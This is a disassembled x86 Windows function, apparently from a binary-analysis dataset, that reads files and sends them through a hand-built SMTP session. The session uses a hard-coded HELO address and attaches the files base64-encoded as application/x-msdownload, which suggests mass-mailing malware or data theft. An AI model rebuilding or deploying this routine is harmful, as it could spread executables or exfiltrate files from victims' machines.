Function at 0x427af0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x450950
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x463858]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
cmp dword [esi + 0x104], 0
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x48], 0
jne 0x427b5c
cmp dword [esi + 0xf0], 0x10
lea ecx, [esi + 0xdc]
jb 0x427b44
mov ecx, dword [ecx]
movzx eax, word [esi + 0xf4]
push eax
push ecx
mov ecx, esi
call fcn.00428460
test al, al
je 0x42843d
mov dword [ebp - 4], 0
cmp dword [esi + 0x2c], 0
jne 0x427b7e
push 0x45e63c
lea eax, [ebp - 0x6c]
push eax
mov dword [ebp - 0x6c], 0xc9
call fcn.00434d0b
cmp dword [esi + 0x30], 0x10
lea edi, [esi + 0x1c]
jb 0x427b8b
mov eax, dword [edi]
jmp 0x427b8d
mov eax, edi
push eax
push str.HELO_172.20.4.146_r_n
push 0x2800
push dword [esi + 0xfc]
call fcn.004301dd
add esp, 0x10
xor ebx, ebx
xor ecx, ecx
xor eax, eax
lea esp, [esp]
cmp dword [eax + 0x4650f0], ebx
je 0x427bc5
add eax, 0x14
inc ecx
cmp eax, 0x140
jb 0x427bb0
jmp 0x427bcf
lea eax, [ecx + ecx*4]
lea ebx, [eax*4 + 0x4650f0]
push ebx
mov ecx, esi
mov dword [ebx + 4], 0xa
mov dword [ebx + 8], 0xa
call fcn.0042a610
push ebx
mov ecx, esi
call fcn.0042aae0
xor ebx, ebx
xor ecx, ecx
xor eax, eax
cmp dword [eax + 0x4650f0], 9
je 0x427c09
add eax, 0x14
inc ecx
cmp eax, 0x140
jb 0x427bf3
jmp 0x427c13
lea eax, [ecx + ecx*4]
lea ebx, [eax*4 + 0x4650f0]
mov dword [ebx + 4], 0xa
mov dword [ebx + 8], 0xa
cmp dword [edi + 0x14], 0x10
jb 0x427c29
mov edi, dword [edi]
push edi
push str.MAIL_FROM:__s__r_n
push 0x2800
push dword [esi + 0xfc]
call fcn.004301dd
add esp, 0x10
mov ecx, esi
push ebx
call fcn.0042a610
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
mov ecx, esi
call fcn.0042aae0
mov ecx, dword [esi + 0x110]
sub ecx, dword [esi + 0x10c]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x427c91
push 0x45e63c
lea eax, [ebp - 0x68]
push eax
mov dword [ebp - 0x68], 0xcb
call fcn.00434d0b
xor edi, edi
xor ecx, ecx
xor eax, eax
cmp dword [eax + 0x4650f0], 0xa
je 0x427cad
add eax, 0x14
inc ecx
cmp eax, 0x140
jb 0x427c97
jmp 0x427cb7
lea eax, [ecx + ecx*4]
lea edi, [eax*4 + 0x4650f0]
mov dword [edi + 4], 0xa
mov dword [edi + 8], 0xa
xor ebx, ebx
jmp 0x427cd0
mov ecx, dword [esi + 0x110]
sub ecx, dword [esi + 0x10c]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp ebx, eax
jae 0x427d50
cmp eax, ebx
ja 0x427cff
push str.invalid_vector_T__subscript
call fcn.0042e7df
lea eax, [ebx + ebx*2]
shl eax, 4
add eax, 0x18
add eax, dword [esi + 0x10c]
cmp dword [eax + 0x14], 0x10
jb 0x427d16
mov eax, dword [eax]
push eax
push str.RCPT_TO:__s__r_n
push 0x2800
push dword [esi + 0xfc]
call fcn.004301dd
add esp, 0x10
mov ecx, esi
push edi
mov dword [edi + 4], 0xa
mov dword [edi + 8], 0xa
call fcn.0042a610
push edi
mov ecx, esi
call fcn.0042aae0
inc ebx
jmp 0x427cd0
xor ebx, ebx
mov ecx, dword [esi + 0x11c]
sub ecx, dword [esi + 0x118]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp ebx, eax
jae 0x427dd2
cmp eax, ebx
ja 0x427d81
push str.invalid_vector_T__subscript
call fcn.0042e7df
lea eax, [ebx + ebx*2]
shl eax, 4
add eax, 0x18
add eax, dword [esi + 0x118]
cmp dword [eax + 0x14], 0x10
jb 0x427d98
mov eax, dword [eax]
push eax
push str.RCPT_TO:__s__r_n
push 0x2800
push dword [esi + 0xfc]
call fcn.004301dd
add esp, 0x10
mov ecx, esi
push edi
mov dword [edi + 4], 0xa
mov dword [edi + 8], 0xa
call fcn.0042a610
push edi
mov ecx, esi
call fcn.0042aae0
inc ebx
jmp 0x427d52
xor ebx, ebx
mov ecx, dword [esi + 0x128]
sub ecx, dword [esi + 0x124]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp ebx, eax
jae 0x427e54
cmp eax, ebx
ja 0x427e03
push str.invalid_vector_T__subscript
call fcn.0042e7df
lea eax, [ebx + ebx*2]
shl eax, 4
add eax, 0x18
add eax, dword [esi + 0x124]
cmp dword [eax + 0x14], 0x10
jb 0x427e1a
mov eax, dword [eax]
push eax
push str.RCPT_TO:__s__r_n
push 0x2800
push dword [esi + 0xfc]
call fcn.004301dd
add esp, 0x10
mov ecx, esi
push edi
mov dword [edi + 4], 0xa
mov dword [edi + 8], 0xa
call fcn.0042a610
push edi
mov ecx, esi
call fcn.0042aae0
inc ebx
jmp 0x427dd4
xor edi, edi
xor ecx, ecx
xor eax, eax
lea ebx, [ebx]
cmp dword [eax + 0x4650f0], 0xb
je 0x427e76
add eax, 0x14
inc ecx
cmp eax, 0x140
jb 0x427e60
jmp 0x427e80
lea eax, [ecx + ecx*4]
lea edi, [eax*4 + 0x4650f0]
push str.DATA_r_n
push 0x2800
push dword [esi + 0xfc]
call fcn.00432c35
add esp, 0xc
mov ecx, esi
push edi
mov dword [edi + 4], 0xa
mov dword [edi + 8], 0xa
call fcn.0042a610
push edi
mov ecx, esi
call fcn.0042aae0
xor ebx, ebx
xor ecx, ecx
xor eax, eax
lea esp, [esp]
cmp dword [eax + 0x4650f0], 0xc
je 0x427ed6
add eax, 0x14
inc ecx
cmp eax, 0x140
jb 0x427ec0
jmp 0x427ee0
lea eax, [ecx + ecx*4]
lea ebx, [eax*4 + 0x4650f0]
push dword [esi + 0xfc]
mov ecx, esi
call fcn.00429b10
push ebx
mov ecx, esi
mov dword [ebx + 4], 0xa
mov dword [ebx + 8], 0xa
call fcn.0042a610
mov ecx, dword [esi + 0x140]
sub ecx, dword [esi + 0x13c]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x427f9e
xor edi, edi
mov ecx, dword [esi + 0x140]
sub ecx, dword [esi + 0x13c]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp edi, eax
jae 0x427fd1
cmp eax, edi
ja 0x427f57
push str.invalid_vector_T__subscript
call fcn.0042e7df
mov ecx, dword [esi + 0x13c]
lea eax, [edi + edi*2]
cmp dword [ecx + eax*8 + 0x14], 0x10
lea eax, [ecx + eax*8]
jb 0x427f6c
mov eax, dword [eax]
push eax
push str._s_r_n
push 0x2800
push dword [esi + 0xfc]
call fcn.004301dd
add esp, 0x10
mov ecx, esi
push ebx
mov dword [ebx + 4], 0xa
mov dword [ebx + 8], 0xa
call fcn.0042a610
inc edi
jmp 0x427f24
push 0x4585e0
push str._s_r_n
push 0x2800
push dword [esi + 0xfc]
call fcn.004301dd
add esp, 0x10
mov ecx, esi
push ebx
mov dword [ebx + 4], 0xa
mov dword [ebx + 8], 0xa
call fcn.0042a610
push 0x37
call fcn.0042e80d
mov edi, eax
add esp, 4
mov dword [ebp - 0x4c], edi
test edi, edi
jne 0x427ff9
push 0x45e63c
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x78], 0x198
call fcn.00434d0b
push 0xff
call fcn.0042e80d
add esp, 4
mov dword [ebp - 0x50], eax
test eax, eax
jne 0x428022
push 0x45e63c
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x198
call fcn.00434d0b
mov dword [ebp - 0x58], 0
xor edi, edi
mov ecx, dword [esi + 0x134]
sub ecx, dword [esi + 0x130]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x64], edi
cmp edi, eax
jae 0x428367
mov eax, dword [esi + 0x130]
lea edi, [edi + edi*2]
shl edi, 3
add eax, edi
cmp dword [eax + 0x14], 0x10
jb 0x428069
mov eax, dword [eax]
push eax
push 0xff
push dword [ebp - 0x50]
call fcn.00432c35
add esp, 0xc
push str.__MESSAGE__ID__54yg6f6h6y456345
push str.___s_r_n
push 0x2800
push dword [esi + 0xfc]
call fcn.004301dd
push str.Content_Type:_application_x_msdownload__name_
push 0x2800
push dword [esi + 0xfc]
call fcn.00432e7e
mov ecx, dword [esi + 0x130]
add esp, 0x1c
add ecx, edi
push 1
sub esp, 8
call fcn.0042afd0
mov ecx, dword [ebp - 0x50]
inc ecx
add eax, ecx
push eax
push 0x2800
push dword [esi + 0xfc]
call fcn.00432e7e
add esp, 0xc
push 0x45b550
push 0x2800
push dword [esi + 0xfc]
call fcn.00432e7e
add esp, 0xc
push str.Content_Transfer_Encoding:_base64_r_n
push 0x2800
push dword [esi + 0xfc]
call fcn.00432e7e
add esp, 0xc
push str.Content_Disposition:_attachment__filename_
push 0x2800
push dword [esi + 0xfc]
call fcn.00432e7e
mov ecx, dword [esi + 0x130]
add esp, 0xc
add ecx, edi
push 1
sub esp, 8
call fcn.0042afd0
mov edi, dword [ebp - 0x50]
inc eax
add eax, edi
push eax
push 0x2800
push dword [esi + 0xfc]
call fcn.00432e7e
add esp, 0xc
push 0x45b550
push 0x2800
push dword [esi + 0xfc]
call fcn.00432e7e
add esp, 0xc
push 0x45b5a4
push 0x2800
push dword [esi + 0xfc]
call fcn.00432e7e
add esp, 0xc
mov ecx, esi
push ebx
mov dword [ebx + 4], 0xa
mov dword [ebx + 8], 0xa
call fcn.0042a610
push 0x45b5a8
lea eax, [ebp - 0x48]
push edi
push eax
call fcn.00432981
mov eax, dword [ebp - 0x48]
add esp, 0xc
test eax, eax
jne 0x4281c0
push 0x45e63c
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x7c], 0x194
call fcn.00434d0b
xor edi, edi
push eax
mov dword [ebp - 0x60], edi
call fcn.00432451
add esp, 4
test eax, eax
jne 0x4281f5
push dword [ebp - 0x48]
push 0x36
push 1
push dword [ebp - 0x4c]
call fcn.00432b89
push dword [ebp - 0x48]
add edi, eax
mov dword [ebp - 0x60], edi
call fcn.00432451
add esp, 0x14
test eax, eax
je 0x4281d2
mov eax, dword [ebp - 0x58]
add eax, edi
mov dword [ebp - 0x58], eax
and eax, 0xfffffc00
cmp eax, 0x500000
jbe 0x42821e
push 0x45e63c
lea eax, [ebp - 0x74]
push eax
mov dword [ebp - 0x74], 0x195
call fcn.00434d0b
push 0
push 0
push dword [ebp - 0x48]
call fcn.00432f70
add esp, 0xc
xor edi, edi
mov dword [ebp - 0x54], edi
mov eax, 0x2f684bdb
mul dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
inc eax
cmp dword [ebp - 0x54], eax
jae 0x428339
push dword [ebp - 0x48]
push 0x36
push 1
push dword [ebp - 0x4c]
call fcn.00432b89
mov edx, dword [ebp - 0x4c]
add esp, 0x10
mov dword [ebp - 0x5c], eax
push eax
test edi, edi
je 0x4282a7
lea ecx, [ebp - 0x44]
call fcn.0042c6e0
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x428280
mov eax, dword [eax]
push eax
push 0x2800
push dword [esi + 0xfc]
call fcn.00432e7e
add esp, 0xc
cmp dword [ebp - 0x30], 0x10
jb 0x4282f1
push dword [ebp - 0x44]
call fcn.0042fe33
add esp, 4
jmp 0x4282f1
lea ecx, [ebp - 0x2c]
call fcn.0042c6e0
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x4282ba
mov eax, dword [eax]
push eax
push 0x2800
push dword [esi + 0xfc]
call fcn.00432c35
add esp, 0xc
cmp dword [ebp - 0x18], 0x10
jb 0x4282df
push dword [ebp - 0x2c]
call fcn.0042fe33
add esp, 4
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2c], 0
push 0x45b5a4
push 0x2800
push dword [esi + 0xfc]
call fcn.00432e7e
mov eax, dword [ebp - 0x5c]
add eax, 2
add edi, eax
add esp, 0xc
cmp edi, 0x1400
jb 0x428331
push ebx
mov ecx, esi
xor edi, edi
mov dword [ebx + 4], 0xa
mov dword [ebx + 8], 0xa
call fcn.0042a610
inc dword [ebp - 0x54]
jmp 0x428232
test edi, edi
je 0x428353
push ebx
mov ecx, esi
mov dword [ebx + 4], 0xa
mov dword [ebx + 8], 0xa
call fcn.0042a610
push dword [ebp - 0x48]
call fcn.004323da
mov edi, dword [ebp - 0x64]
add esp, 4
inc edi
jmp 0x42802b
push dword [ebp - 0x4c]
call fcn.0042fe04
add esp, 4
push dword [ebp - 0x50]
call fcn.0042fe04
mov ecx, dword [esi + 0x134]
sub ecx, dword [esi + 0x130]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add esp, 4
add eax, edx
je 0x4283cf
push str.__MESSAGE__ID__54yg6f6h6y456345
push str._r_n___s___r_n
push 0x2800
push dword [esi + 0xfc]
call fcn.004301dd
add esp, 0x10
mov ecx, esi
push ebx
mov dword [ebx + 4], 0xa
mov dword [ebx + 8], 0xa
call fcn.0042a610
xor edi, edi
xor ecx, ecx
xor eax, eax
cmp dword [eax + 0x4650f0], 0xd
je 0x4283eb
add eax, 0x14
inc ecx
cmp eax, 0x140
jb 0x4283d5
jmp 0x4283f5
lea eax, [ecx + ecx*4]
lea edi, [eax*4 + 0x4650f0]
push str._r_n._r_n
push 0x2800
push dword [esi + 0xfc]
call fcn.00432c35
add esp, 0xc
mov ecx, esi
push edi
mov dword [edi + 4], 0xa
mov dword [edi + 8], 0xa
call fcn.0042a610
push edi
mov ecx, esi
call fcn.0042aae0
mov al, 1
jmp 0x42843f
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0042f36b
mov esp, ebp
pop ebp
ret